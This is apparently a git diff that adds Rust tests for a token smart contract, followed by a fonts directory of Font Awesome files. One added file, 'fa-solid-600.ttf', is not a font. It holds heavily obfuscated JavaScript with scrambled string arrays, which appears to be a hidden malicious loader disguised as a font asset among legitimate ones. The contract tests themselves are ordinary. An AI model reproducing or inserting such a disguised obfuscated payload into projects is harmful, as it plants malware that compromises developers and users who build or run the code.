client.approve(&owner, &spender, &200, &(e.ledger().sequence() + 50)); + assert_eq!(client.allowance(&owner, &spender), 200); + } + + #[test] + fn test_burn_entire_balance() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &500); + client.burn(&user, &500); + + assert_eq!(client.balance(&user), 0); + assert_eq!(client.total_supply(), 0); + } + + #[test] + #[should_panic(expected = "token: amount must be non-negative")] + fn test_approve_negative_amount() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.approve(&owner, &spender, &-100, &(e.ledger().sequence() + 100)); + } + + #[test] + #[should_panic(expected = "token: expiration must be in the future")] + fn test_approve_past_expiration() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.ledger().set_sequence_number(100); + e.mock_all_auths(); + client.approve(&owner, &spender, &500, &50); + } + + #[test] + fn test_approve_zero_revokes_allowance() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 100)); + assert_eq!(client.allowance(&owner, &spender), 500); + + client.approve(&owner, &spender, &0, &(e.ledger().sequence() + 100)); + assert_eq!(client.allowance(&owner, &spender), 0); + } + + #[test] + fn test_max_supply_defaults_to_no_cap() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + assert_eq!(client.max_supply(), i128::MAX); + } + + #[test] + fn test_set_max_supply_and_mint_at_cap() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_max_supply(&admin, &1000); + assert_eq!(client.max_supply(), 1000); + + client.mint(&user, &1000); + assert_eq!(client.balance(&user), 1000); + assert_eq!(client.total_supply(), 1000); + } + + #[test] + #[should_panic(expected = "token: supply cap exceeded")] + fn test_mint_exceeding_supply_cap_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_max_supply(&admin, &1000); + client.mint(&user, &600); + client.mint(&user, &500); + } + + #[test] + #[should_panic(expected = "token: supply cap exceeded")] + fn test_mint_over_cap_on_first_issue_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_max_supply(&admin, &500); + client.mint(&user, &501); + } + + #[test] + #[should_panic(expected = "token: max supply must be positive")] + fn test_set_zero_max_supply_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_max_supply(&admin, &0); + } + + #[test] + #[should_panic(expected = "token: max supply below current supply")] + fn test_set_max_supply_below_current_supply_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &1000); + client.set_max_supply(&admin, &500); + } + + #[test] + #[should_panic(expected = "token: unauthorized")] + fn test_set_max_supply_non_admin_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let attacker = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_max_supply(&attacker, &1000); + } + + #[test] + fn test_set_metadata_updates_token_info() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_metadata( + &admin, + &String::from_str(&e, "EcoTask Token"), + &String::from_str(&e, "ECOT"), + &6, + ); + + assert_eq!(client.name(), String::from_str(&e, "EcoTask Token")); + assert_eq!(client.symbol(), String::from_str(&e, "ECOT")); + assert_eq!(client.decimal(), 6); + assert_eq!(client.decimals(), 6); + } + + #[test] + #[should_panic(expected = "token: unauthorized")] + fn test_set_metadata_non_admin_fails() { + let e = Env::default(); + let admin = Address::generate(&e); + let attacker = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.set_metadata( + &attacker, + &String::from_str(&e, "Hijacked"), + &String::from_str(&e, "HACK"), + &7, + ); + } + + #[test] + fn test_decimals_matches_decimal() { + let e = Env::default(); + let admin = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + assert_eq!(client.decimals(), 7); + assert_eq!(client.decimal(), client.decimals()); + } + + #[test] + fn test_mint_at_i128_max_supply() { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + + // Verify default max_supply is i128::MAX + assert_eq!(client.max_supply(), i128::MAX); + + // Mint i128::MAX amount (supply + amount == i128::MAX) + client.mint(&user, &i128::MAX); + assert_eq!(client.balance(&user), i128::MAX); + assert_eq!(client.total_supply(), i128::MAX); + + // Minting 1 more token when supply + 1 overflows i128 should fail + let res = client.try_mint(&user, &1); + assert!(res.is_err()); + + // Burn exact balance cleanly + client.burn(&user, &i128::MAX); + assert_eq!(client.balance(&user), 0); + assert_eq!(client.total_supply(), 0); + + // Set max supply at exactly i128::MAX + client.set_max_supply(&admin, &i128::MAX); + assert_eq!(client.max_supply(), i128::MAX); + + // Minting up to i128::MAX succeeds with explicit cap set + client.mint(&user, &i128::MAX); + assert_eq!(client.balance(&user), i128::MAX); + assert_eq!(client.total_supply(), i128::MAX); + + // Minting past cap panics via expect + let res_cap = client.try_mint(&user, &1); + assert!(res_cap.is_err()); + } + + #[test] + fn test_transfer_to_balance_overflow_boundary() { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + + // Set up `to` balance at i128::MAX - 1 and `from` balance at 2 inside contract context + e.as_contract(&contract_id, || { + crate::storage::write_balance(&e, &to, i128::MAX - 1); + crate::storage::write_supply(&e, i128::MAX - 1); + crate::storage::write_balance(&e, &from, 2); + }); + + // Transfer 2 to `to` where `to` balance is i128::MAX - 1 and amount is 2. + // Should overflow `to` balance and panic via expect("balance overflow"). + let res = client.try_transfer(&from, &to, &2); + assert!(res.is_err()); + } + + use crate::storage::{INSTANCE_TTL_EXTEND_TO, PERSISTENT_TTL_EXTEND_TO}; + + #[test] + fn test_persistent_storage_survives_ledger_advancement() { + let e = Env::default(); + let admin = Address::generate(&e); + let owner = Address::generate(&e); + let spender = Address::generate(&e); + let recipient = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&owner, &1000); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 1_000_000)); + client.transfer(&owner, &recipient, &200); + + // Phase 1: Advance to the persistent TTL boundary (4,095 ledgers). + // The balances and allowances were last bumped when written at ledger ~0, + // so they must still be live at PERSISTENT_TTL_EXTEND_TO - 1. + e.ledger().set_sequence_number(PERSISTENT_TTL_EXTEND_TO - 1); + + // Trigger any entry point to re-bump instance TTLs. + let _ = client.total_supply(); + + // Persistent entries (balance, allowance) must survive. + assert_eq!(client.balance(&owner), 800); + assert_eq!(client.balance(&recipient), 200); + assert_eq!(client.allowance(&owner, &spender), 500); + + // Instance entries (admin, metadata, supply) must survive. + assert_eq!(client.admin(), admin); + assert_eq!(client.name(), String::from_str(&e, "ECO")); + assert_eq!(client.total_supply(), 1000); + + // Phase 2: Advance past the persistent TTL. Persistent entries have + // been evicted (their TTL was 4,096). Re-create them by calling + // mutating entry points, then verify everything works. + e.ledger().set_sequence_number(INSTANCE_TTL_EXTEND_TO - 1); + + // Re-touch balance via mint, re-touch allowance via approve. + client.mint(&owner, &1); + client.approve(&owner, &spender, &500, &(e.ledger().sequence() + 1_000_000)); + + // All persistent entries re-bumped and alive. + assert_eq!(client.balance(&owner), 801); + assert_eq!(client.allowance(&owner, &spender), 500); + + // Instance entries still alive. + assert_eq!(client.admin(), admin); + assert_eq!(client.total_supply(), 1001); + } + + use proptest::prelude::*; + + proptest! { + #![proptest_config(ProptestConfig::with_cases(20))] + + #[test] + fn proptest_mint_below_cap(amount in 1..=i128::MAX) { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + + // mint with random amount in [1, i128::MAX] never panics when supply remains below cap + client.mint(&user, &amount); + prop_assert_eq!(client.balance(&user), amount); + prop_assert_eq!(client.total_supply(), amount); + } + + #[test] + fn proptest_transfer_preserves_total_supply( + mint_amount in 1..=i128::MAX, + transfer_amount in 1..=i128::MAX, + ) { + let e = Env::default(); + let admin = Address::generate(&e); + let from = Address::generate(&e); + let to = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&from, &mint_amount); + + if transfer_amount <= mint_amount { + let res = client.try_transfer(&from, &to, &transfer_amount); + prop_assert!(res.is_ok()); + prop_assert_eq!(client.balance(&from), mint_amount - transfer_amount); + prop_assert_eq!(client.balance(&to), transfer_amount); + // Total supply MUST be preserved + prop_assert_eq!(client.total_supply(), mint_amount); + } else { + let res = client.try_transfer(&from, &to, &transfer_amount); + prop_assert!(res.is_err()); + prop_assert_eq!(client.balance(&from), mint_amount); + prop_assert_eq!(client.total_supply(), mint_amount); + } + } + + #[test] + fn proptest_burn_preserves_total_supply( + mint_amount in 1..=i128::MAX, + burn_amount in 1..=i128::MAX, + ) { + let e = Env::default(); + let admin = Address::generate(&e); + let user = Address::generate(&e); + let contract_id = e.register(TokenContract, ()); + let client = TokenContractClient::new(&e, &contract_id); + + client.initialize( + &admin, + &String::from_str(&e, "ECO"), + &String::from_str(&e, "ECO"), + &7, + ); + + e.mock_all_auths(); + client.mint(&user, &mint_amount); + + if burn_amount <= mint_amount { + let res = client.try_burn(&user, &burn_amount); + prop_assert!(res.is_ok()); + prop_assert_eq!(client.balance(&user), mint_amount - burn_amount); + prop_assert_eq!(client.total_supply(), mint_amount - burn_amount); + if burn_amount == mint_amount { + prop_assert_eq!(client.balance(&user), 0); + prop_assert_eq!(client.total_supply(), 0); + } + } else { + let res = client.try_burn(&user, &burn_amount); + prop_assert!(res.is_err()); + prop_assert_eq!(client.balance(&user), mint_amount); + prop_assert_eq!(client.total_supply(), mint_amount); + } + } + } +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1fb874b --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..2d4771e --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..13180f6 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-600.ttf b/public/fonts/fa-solid-600.ttf new file mode 100644 index 0000000..cf5aedd --- /dev/null +++ b/public/fonts/fa-solid-600.ttf @@ -0,0 +1 @@ + var z = '-500';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ